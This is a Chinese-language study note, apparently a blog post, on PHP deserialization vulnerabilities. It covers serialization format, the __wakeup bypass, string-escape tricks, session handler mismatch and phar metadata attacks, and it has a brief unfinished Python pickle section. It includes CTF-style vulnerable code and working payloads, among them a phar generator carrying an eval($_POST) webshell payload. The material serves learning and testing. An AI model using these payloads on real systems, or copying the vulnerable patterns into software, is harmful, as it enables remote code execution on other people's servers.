0%

反序列化学习笔记

简单来说,序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象。反序列化漏洞便是在这中间产生的,构造利用链,根据各种魔术方法进行跳转,从而达到RCE,getshell等不可控的后果。

PHP反序列化

谈到反序列化的时候必然要谈到序列化,下面是在php中,对应的两个重要函数:

序列化函数serialize()

示例:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User {
public $isAdmin = false;
}

$u = new User();
$u->isAdmin = true;

echo serialize($u);
?>
//结果:
O:4:"User":1:{s:7:"isAdmin";b:1;}
序列化片段 含义说明
O:4:"User" O 表示对象(Object),类名长度为 4,类名是 "User"
:1: 对象有 1 个属性
{...} 花括号中是属性列表
s:7:"isAdmin"; s 表示字符串,长度为 7,字符串内容是 "isAdmin"(属性名)
b:1; b 表示布尔类型,值为 true(1),false 为 0

常见表示

类型 表示符 示例 说明
布尔 b:x; b:1; true/false
整数 i:x; i:42; 数值
浮点 d:x; d:3.14; double
字符串 s:n:"val"; s:5:"hello"; 长度为 n 的字符串
数组 a:n:{...} a:2:{i:0;s:3:"abc";i:1;i:123;} n 个键值对
对象 O:n:"class":p:{...} O:4:"User":1:{s:3:"id";i:1;} 类名长度为 n,p 为属性数
NULL N; N; 空值

__sleep() 是 PHP 的一个魔术方法,会在对象被 serialize() 时自动调用,主要用于控制哪些属性被序列化。

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作,即**__sleep()可以决定序列化的内容。**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class User {
public $username = "guest";
public $isAdmin = false;

public function __sleep() {
return ["username"]; // 仅序列化 username
}
}

$user = new User();
$user->isAdmin = true;
echo serialize($user);

?>

//结果:
O:4:"User":1:{s:8:"username";s:5:"guest";}


可以看到只序列化了$username,而没有$isAdmin

反序列化函数unserialize()

与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法,如果存在则会先调用__wakeup()方法,再进行序列化。

小trick当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行

访问控制修饰符

1
2
3
public(公有) 
protected(受保护) // %00*%00属性名
private(私有的) // %00类名%00属性名

protected属性被序列化的时候属性值会变成%00\*%00属性名,private属性被序列化的时候属性值会变成%00类名%00属性名%00空字符长度为 1。

各自权限:

  • public(公有): 公有的类成员可以在任何地方被访问。
  • protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)
  • private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)

php常见魔术方法

和普通函数不同的是,它会在某些条件下导致函数自动被触发执行,类似于可以跳转。而这就是一般用于构造利用链的核心。

image-20250508161457351

字符串逃逸

通常是会有一个替换函数,把数据中的字符串替换为另一个更长或者更短的字符串。由此分类为减少逃逸和增多逃逸,关于这两个概念容我在此给出我学完之后的理解:

减少实际上是把序列化后的字符串中属性相关的部分塞进了前面的双引号里面,变成了没有特殊意义的字符串。而增多刚好相反。

下面根据两道例题来给出具体的解释:

字符串增多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user = $user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
//echo $param;
$profile=unserialize(filter($param));
//var_dump($profile);
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}

?>

我们的目的是将pass变量改为escaping才能获得flag,但是整个流程下来,并没有对其进行更改。

我们能够看到它会将php替换为hack,从而达到字符串的增多,而这个增多可以怎么利用呢?

1
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";}

->

1
O:4:"test":2:{s:4:"user";s:3:"hack";s:4:"pass";s:8:"daydream";}

这样是不能被成功反序列化,因为实际字符串长度与前面不符合。每次替换均会将整个字符串增长1,这样便会有1个字符串逃逸出来。如果我们在最后面构造一个我们想构造的属性,进而逃逸出去的话,便会实现我们的目的。

现在数一数我们需要的构造的属性";s:4:"pass";s:8:"daydream";},共29个字符。只需要29个php即可“顶出去”。

1
O:4:"test":2:{s:4:"user";s:87:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

我们把phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}作为参数传递过去,这样前面的计数会是这个字符串116,刚好符合替换完之后flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag的长度,而在;}处结束,从而忽略后面的内容。

–>

1
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:8:"escaping";}

字符串减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
function filter($str){
return str_replace("xx","y",$str);
}

$username = "mikasa";
$password = "biubiu";
$user = array($username,$password);

//$str1 = filter(serialize($user));
$str2 = filter(serialize($_GET['user']));
echo $str2;
echo " ";
//var_dump(unserialize($str1));
var_dump(unserialize($str2));
?>

刚开始传参如下:

1
http://localhost:3000/?user[]=mikasa&user[]=biubiu

结果:

1
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}   array(2) { [0]=> string(6) "mikasa" [1]=> string(6) "biubiu" }

目标是将username改为123456,本题会将xx替换为y从而导致字符串减少,同样的逻辑,减少会把一些字符串吃进去,从而在数组的第二个索引处把password改为123456。

分析

仔细分析序列化字符串,";i:1;s:6:共10个字符,但我们预计第二个字符串后面长度会到两位数,所以应该算是11个,将第一个参数写成22个x,结果如下:

1
a:2:{i:0;s:24:"yyyyyyyyyyy";i:1;s:6:"biubiu";} bool(false)

目前可以看作已经吃掉后面一大坨了,这下就可以自由在字符串二中构造我们想要替换的属性了,;i:1;s:6:"123456";}

a:2:{i:0;s:22:"yyyyyyyyyyy";i:1;s:19:";i:1;s:6:"123456";}";}

image-20250508161004255

session反序列化

漏洞产生原因:写入格式和读取格式不一致。

主要处理方式有以下三种:

image-20250508162445536

例题

php_serialize写,php方式读。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

思路:

写的时候加上竖线后面写构造的poc,在读的时候就会把竖线前面的当作键,后面的进行反序列化。

image-20250508163737230

最终通过eval函数成功命令执行。

phar反序列化

类似于java的jar,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容

该漏洞利用条件

  1. phar文件能够上传至服务器
  2. 要有可利用的魔术方法
  3. 文件操作函数的参数可控,且:、/phar等特殊字符没有被过滤

img

一般的利用方式是配合上面这些函数和phar伪协议,从而不依赖unserialize()进行反序列化的操作。

生成文件:(需要php > 5.2 并将php.ini中的phar.readonly设置为Off)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
show_source(__FILE__);
header('Content-Type: text/html; charset=gbk');
class Flag{
public $code='eval($_POST["a"]);';
}
$a=new Flag();
echo urlencode(serialize($a));

$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

Phar文件有四个部分,stub / manifest被压缩的文件的属性,是以序列化存储的,是主要的攻击点 / contents文件内容 / signature签名。

stub的格式为xxx<?php xxx; __HALT_COMPILER();?>

manifest中的meta-data部分有着序列化的内容,在执行时会被反序列化解析。

image-20250510153018522

Python反序列化

Python中也有饭序列化,也是通过两个重要的函数进行实现。

pickle.dumps()pickle.loads()

1
2
3
4
5
6
7
8
9
>>> import pickle                                                                 
>>> text = 'helloworld'
>>> sertext = pickle.dumps(text)
>>> print(sertext)
b'\x80\x04\x95\x0e\x00\x00\x00\x00\x00\x00\x00\x8c\nhelloworld\x94.'
>>> reltext = pickle.loads(sertext)
>>> print(reltext)
helloworld
>>>

(不会,待续)

参考:

PHP反序列化漏洞学习_哔哩哔哩_bilibili